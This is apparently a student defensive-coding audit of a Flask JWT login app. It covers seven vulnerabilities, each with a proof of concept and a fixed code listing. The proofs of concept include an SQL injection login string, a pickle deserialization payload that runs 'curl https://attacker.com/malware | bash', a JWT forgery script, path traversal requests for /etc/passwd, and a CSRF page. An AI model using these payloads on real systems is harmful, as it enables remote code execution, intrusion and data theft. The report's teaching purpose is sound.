



Assignment 2 - Defensive coding report

Prepared for:
Mr. Tayebi and Aman

Prepared by:
Group 2(Jugal, Puru, Gitanshu, Sarthak, Adit, Prasana)

Contents

1 Executive Summary 2

1.1 Vulnerabilities Overview 2

2 Detailed Findings 3

2.1 V1: SQL Injection 3

2.2 V2: Insecure Deserialization (Pickle) 4

2.3 V3: Client-side Privilege Control 5

2.4 V4: JWT Implementation Flaws 6

2.5 V5: Path Traversal 8

2.6 V6: Missing Security Headers 9

2.7 V7: Plaintext Password Storage 10

2.8 Dependency Vulnerabilities 11

3 Complete Code Review 12

3.1 Authentication Flow 12

3.2 Authentication Middleware 12

3.3 File Operations 13

4 Conclusion 14

5 Recommendations 14

1 Executive Summary

This report documents a comprehensive security audit of a Flask-based authentication system implementing JWT (JSON Web Tokens). The audit identified multiple critical and high-severity vulnerabilities that could lead to unauthorized access, data breaches, and server compromise. Each vulnerability has been analyzed with proof-of-concept examples and appropriate remediation strategies.

1.1 Vulnerabilities Overview

ID	Vulnerability	Severity	Impact	Status
V1	SQL Injection	Critical	Authentication bypass, data exposure	Fixed
V2	Insecure Deserialization (Pickle)	Critical	Remote code execution	Fixed
V3	Client-side Privilege Control	High	Privilege escalation	Fixed
V4	JWT Implementation Flaws	High	Token forgery, authentication bypass	Fixed
V5	Path Traversal	High	Unauthorized file access	Fixed
V6	Missing Security Headers	Medium	Various client-side attacks	Fixed
V7	Plaintext Password Storage	Medium	Credential exposure	Fixed
V8	Dependency Vulnerabilities	Low	Cookie Information Vulnerable	Fixed

Table 1: Summary of identified vulnerabilities

2 Detailed Findings

2.1 V1: SQL Injection

Critical: SQL Injection

Description

The application uses string interpolation to construct SQL queries with user-supplied input, allowing attackers to inject malicious SQL code.

Proof of Concept

An attacker could login with the following credentials:

```
1 Username: admin' --
2 Password: anything
```

This produces the following vulnerable SQL query:

```
1 SELECT * FROM users where username='admin' --' AND password='anything'
```

The - comments out the password check, allowing authentication as any user without knowing their password.

Impact

- Authentication bypass
- Data exfiltration
- Potential database destruction

Remediation

Implemented parameterized queries to prevent SQL injection:

```
1 # Original vulnerable code
2 rows = db.fetch_data(f"SELECT * FROM users where username='{username}' AND
   password='{password}')"
3
4 # Fixed code
5 user = db.fetch_data("SELECT * FROM users WHERE username = ?", (username,))
   )
```

2.2 V2: Insecure Deserialization (Pickle)

Critical: Insecure Deserialization

Description

The application uses Python's `pickle` module to serialize and deserialize JWT tokens. Pickle deserialization of untrusted data allows attackers to execute arbitrary code on the server.

Proof of Concept

An attacker could craft a malicious pickle payload:

```
1 import pickle
2 import os
3 import base64
4
5 class EvilPickle:
6     def __reduce__(self):
7         return (os.system, ('curl https://attacker.com/malware | bash',))
8
9 # Create malicious pickle
10 malicious = pickle.dumps(EvilPickle())
11 hex_payload = malicious.hex()
12
13 # Split like in the application logic
14 obfuscated = hex_payload[len(hex_payload)//2:] + hex_payload[:len(
15     hex_payload)//2]
16 # The attacker would then set this as their token cookie
```

When the server deserializes this data with `pickle.loads()`, it executes the attacker's command.

Impact

- Remote code execution
- Complete server compromise
- Data breach

Remediation

Removed pickle serialization entirely and used standard JWT encoding/decoding:

```
1 # Original vulnerable code
2 token = auth_token[len(auth_token)//2:] + auth_token[:len(auth_token)//2]
3 data = jwt.decode(pickle.loads(bytes.fromhex(token)), SECRET_KEY,
4     algorithms=["HS256"])
5
6 # Fixed code
7 payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
```

2.3 V3: Client-side Privilege Control

High: Client-side Privilege Control

Description

The application sets an 'admin' cookie on the client-side to control administrative access, allowing attackers to modify this value and escalate privileges.

Proof of Concept

An attacker could:

1. Login as a regular user
2. Intercept the response using a web proxy
3. Modify the 'admin' cookie value from 'false' to 'true'
4. Access administrative functions

```
1 POST /login HTTP/1.1
2 Host: example.com
3 Content-Type: application/json
4
5 {"username":"user1","password":"password1"}
6
7 # Response (intercepted and modified)
8 HTTP/1.1 200 OK
9 Set-Cookie: token=eyJ0eXA...
10 Set-Cookie: admin=true <- Modified from 'false' to 'true'
```

Impact

- Privilege escalation
- Unauthorized access to admin functionality
- File system access

Remediation

Removed client-controlled admin flag and stored privileges in the JWT token, verified server-side:

```
1 # JWT payload now includes privilege level
2 token = jwt.encode({
3     'username': username,
4     'privilege': user[0][3],
5     'exp': expiration
6 }, SECRET_KEY, algorithm="HS256")
7
8 # Access control check
9 if current_user['privilege'] != 1:
10     return jsonify({"error": "Admin access required"}), 403
```

2.4 V4: JWT Implementation Flaws

High: JWT Implementation Flaws

Description

The JWT implementation had multiple flaws:

- Static, hardcoded secret key
- No token expiration
- Insecure storage in cookies
- Unnecessary and ineffective obfuscation

Proof of Concept

An attacker could extract and decode a valid JWT token, modify its contents, and re-encode it:

```
1 # Decode obfuscated token
2 obfuscated_token = "a7c6b5d4e3f2...1234" # From cookie
3
4 token_hex = obfuscated_token[len(obfuscated_token)//2:] + obfuscated_token
5               [:len(obfuscated_token)//2]
6 token_bytes = bytes.fromhex(token_hex)
7 token = pickle.loads(token_bytes).decode()
8
9 # Decode JWT
10 payload = jwt.decode(token, "secret_key", algorithms=["HS256"])
11
12 # Modify payload
13 payload["username"] = "admin1" # Escalate to admin
14
15 # Re-encode
16 new_token = jwt.encode(payload, "secret_key", algorithm="HS256")
17
18 # Re-obfuscate
19 new_bytes = pickle.dumps(new_token.encode())
20 new_hex = new_bytes.hex()
21 new_obfuscated = new_hex[len(new_hex)//2:] + new_hex[:len(new_hex)//2]
```

Impact

- Identity spoofing
- Privilege escalation
- Session hijacking

High: JWT Implementation Flaws

Remediation

Implemented proper JWT security practices:

```
1 # Generate cryptographically secure random key
2 SECRET_KEY = secrets.token_hex(32) # 256 bits of entropy
3
4 # Add expiration time
5 expiration = datetime.utcnow() + timedelta(hours=1)
6 token = jwt.encode({
7     'username': username,
8     'privilege': user[0][3],
9     'exp': expiration
10 }, SECRET_KEY, algorithm="HS256")
11
12 # Secure cookie settings
13 res.set_cookie(
14     "token",
15     value=token,
16     httponly=True,
17     secure=True,
18     samesite='Strict',
19     max_age=3600
20 )
```


2.5 V5: Path Traversal

High: Path Traversal

Description

The file storage implementation doesn't sanitize filenames, allowing attackers to access files outside the intended directory.

Proof of Concept

An attacker with admin access could:

```
1 POST /file HTTP/1.1
2 Host: example.com
3 Cookie: token=valid_admin_token; admin=true
4 Content-Type: multipart/form-data; boundary
  =-----1234567890
5
6 -----1234567890
7 Content-Disposition: form-data; name="file"; filename="../../../etc/passwd
  "
8 Content-Type: text/plain
9
10 (file content)
11 -----1234567890--
```

This could write files outside the intended directory or overwrite system files.

Similarly, an attacker could read sensitive files:

```
1 GET /file?filename=../../../etc/passwd HTTP/1.1
2 Host: example.com
3 Cookie: token=valid_token
```

Impact

- Unauthorized access to system files
- Information disclosure
- Potential system compromise

Remediation

Implemented proper path sanitization and validation:

```
1 # Sanitize filename to prevent path traversal
2 safe_filename = os.path.basename(filename)
3 file_path = os.path.join(self.storage_directory, safe_filename)
4
5 # Additional validation to prevent directory traversal
6 if not os.path.abspath(file_path).startswith(os.path.abspath(self.
  storage_directory)):
7     raise ValueError("Invalid file path")
```

2.6 V6: Missing Security Headers

Medium: Missing Security Headers

Description

The application lacks security headers for cookie protection and does not implement CSRF protections.

Proof of Concept

An attacker could create a malicious website that makes requests to the vulnerable application:

```
1 <html>
2 <body>
3 <script>
4   // This script can access non-HttpOnly cookies
5   document.write("Your token: " + document.cookie);
6
7   // CSRF attack to delete files if user is admin
8   fetch('https://vulnerable-app.com/file?filename=important.txt', {
9     method: 'DELETE',
10    credentials: 'include' // Sends cookies
11  });
12 </script>
13 </body>
14 </html>
```

Impact

- Cross-site scripting (XSS)
- Cross-site request forgery (CSRF)
- Cookie theft

Remediation

Added proper security attributes to cookies:

```
1 res.set_cookie(
2   "token",
3   value=token,
4   httponly=True,           # Prevents JavaScript access
5   secure=True,             # Only transmitted over HTTPS
6   samesite='Strict',       # CSRF protection
7   max_age=3600             # 1 hour expiration
8 )
```

2.7 V7: Plaintext Password Storage

Medium: Plaintext Password Storage

Description

The application stores user passwords in plaintext, risking credential exposure in case of a data breach.

Proof of Concept

If an attacker gains access to the database, they can directly read user passwords:

```
1 SELECT username, password FROM users;
```

Results:

```
1 username | password
2 -----|-----
3 user1    | password1
4 admin1   | adminpassword1
```

Impact

- Credential exposure
- Account takeover
- Password reuse attacks

Remediation

Implemented password hashing:

```
1 # During user creation
2 hashed_password1 = generate_password_hash('password1')
3 db.update_data("INSERT INTO users (username, password, privilege) VALUES
4   (?, ?, ?)",
5   ('user1', hashed_password1, 0))
6 # During authentication
7 if not user or not check_password_hash(user[0][2], password):
8   return jsonify({"error": "Invalid credentials"}), 401
```

2.8 Dependency Vulnerabilities

Medium: Dependencies Vulnerabilities

Description

Flask 2.2.2 – vulnerable to information exposure in the form of permanent session cookie when the following conditions are met:

Werkzeug 2.2.2 – Affected by multiple high level vulnerabilities causing Denial of Service, Remote code execution, path traversal. For more info: refer this link .

Proof of Concept

- The application is hosted behind a caching proxy that does not strip cookies or ignore responses with cookies.
- The application sets `session.permanent = True`.
- The application does not access or modify the session at any point during a request.
- `SESSION_REFRESH_EACH_REQUEST` is enabled (the default).
- The application does not set a Cache-Control header to indicate that a page is private or should not be cached.

Impact

A response containing data intended for one client may be cached and sent to other clients. If the proxy also caches Set-Cookie headers, it may send one client's session cookie to other clients. Under these conditions, the Vary: Cookie header is not set when a session is refreshed (re-sent to update the expiration) without being accessed or modified.

Remediation

Recommendation: Upgrade flask to version 2.2.5, 2.3.2 or higher and werkzeug to 2.5.2 or higher in requirements.txt.

```
1 flask>=2.3.2
2 werkzeug>=2.5.2
```

3 Complete Code Review

The following is a comprehensive analysis of the fixed code, highlighting the security improvements made to address the vulnerabilities identified in this report.

3.1 Authentication Flow

```
1 @app.route("/login", methods=["POST"])
2 def login():
3     if not request.is_json:
4         return jsonify({"error": "Missing JSON in request"}), 400
5
6     username = request.json.get("username")
7     password = request.json.get("password")
8
9     if not username or not password:
10        return jsonify({"error": "Missing username or password"}), 400
11
12    # Use parameterized query to prevent SQL injection
13    user = db.fetch_data("SELECT * FROM users WHERE username = ?", (username,))
14
15    if not user or not check_password_hash(user[0][2], password):
16        return jsonify({"error": "Invalid credentials"}), 401
17
18    # Create token with expiration
19    expiration = datetime.utcnow() + timedelta(hours=1)
20    token = jwt.encode({
21        'username': username,
22        'privilege': user[0][3],
23        'exp': expiration
24    }, SECRET_KEY, algorithm="HS256")
25
26    res = make_response(jsonify({"message": "Login successful"}))
27
28    # Set secure cookie
29    res.set_cookie(
30        "token",
31        value=token,
32        httponly=True,          # Prevents JavaScript access
33        secure=True,           # Only transmitted over HTTPS
34        samesite='Strict',     # CSRF protection
35        max_age=3600           # 1 hour expiration
36    )
37
38    return res
```

3.2 Authentication Middleware

```
1 def token_required(f):
2     @wraps(f)
3     def decorated(*args, **kwargs):
4         token = request.cookies.get('token')
5
6         if not token:
7             return jsonify({'message': 'Token is missing'}), 401
8
9         try:
10            # Decode JWT token
11            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
12            # Get the current user from the database
```

```
13         user = db.fetch_data("SELECT * FROM users WHERE username = ?", (
14             payload['username'],))
15
16         if not user:
17             return jsonify({'message': 'Invalid token'}), 401
18
19         # Add user data to the request context
20         request.current_user = {
21             'username': user[0][1],
22             'privilege': user[0][3]
23         }
24     except jwt.ExpiredSignatureError:
25         return jsonify({'message': 'Token has expired'}), 401
26     except jwt.InvalidTokenError:
27         return jsonify({'message': 'Invalid token'}), 401
28
29     return f(*args, **kwargs)
30 return decorated
```

3.3 File Operations

```
1 @app.route("/file", methods=["GET", "POST", "DELETE"])
2 @token_required
3 def store_file():
4     """
5     Only admins can upload/delete files.
6     All users can read files.
7     """
8     current_user = request.current_user
9
10    if request.method == 'GET':
11        filename = request.args.get('filename')
12        if not filename:
13            return jsonify({"error": "Filename is required"}), 400
14
15        content = fs.get(filename)
16        if content is None:
17            return jsonify({"error": "File not found"}), 404
18
19        response = make_response(content)
20        response.headers.set('Content-Type', 'application/octet-stream')
21        response.headers.set('Content-Disposition', f'attachment; filename={os.
22            path.basename(filename)}')
23        return response
24
25    elif request.method == 'POST':
26        if current_user['privilege'] != 1:
27            return jsonify({"error": "Admin access required"}), 403
28
29        if 'file' not in request.files:
30            return jsonify({"error": "No file part"}), 400
31
32        uploaded_file = request.files['file']
33        if uploaded_file.filename == '':
34            return jsonify({"error": "No selected file"}), 400
35
36        try:
37            fs.store(uploaded_file.filename, uploaded_file.read())
38            return jsonify({"message": f"File {uploaded_file.filename} uploaded
39                successfully"})
39        except ValueError as e:
40            return jsonify({"error": str(e)}), 400
```

4 Conclusion

The application contained multiple critical security vulnerabilities that could lead to complete system compromise. The remediated code addresses these issues by implementing security best practices:

1. Parameterized queries to prevent SQL injection
2. Removal of insecure deserialization via pickle
3. Server-side privilege verification
4. Secure JWT implementation with proper token validation
5. Strict path validation to prevent directory traversal
6. Secure cookie configuration
7. Password hashing

These changes significantly improve the security posture of the application. Regular security testing is recommended to maintain this improved security stance.

5 Recommendations

1. Implement a proper secret management solution rather than generating the secret key on application startup
2. Add rate limiting for login attempts to prevent brute force attacks
3. Implement logging for security events
4. Consider adding multi-factor authentication for administrative access
5. Implement Content Security Policy headers
6. Conduct regular security code reviews and penetration testing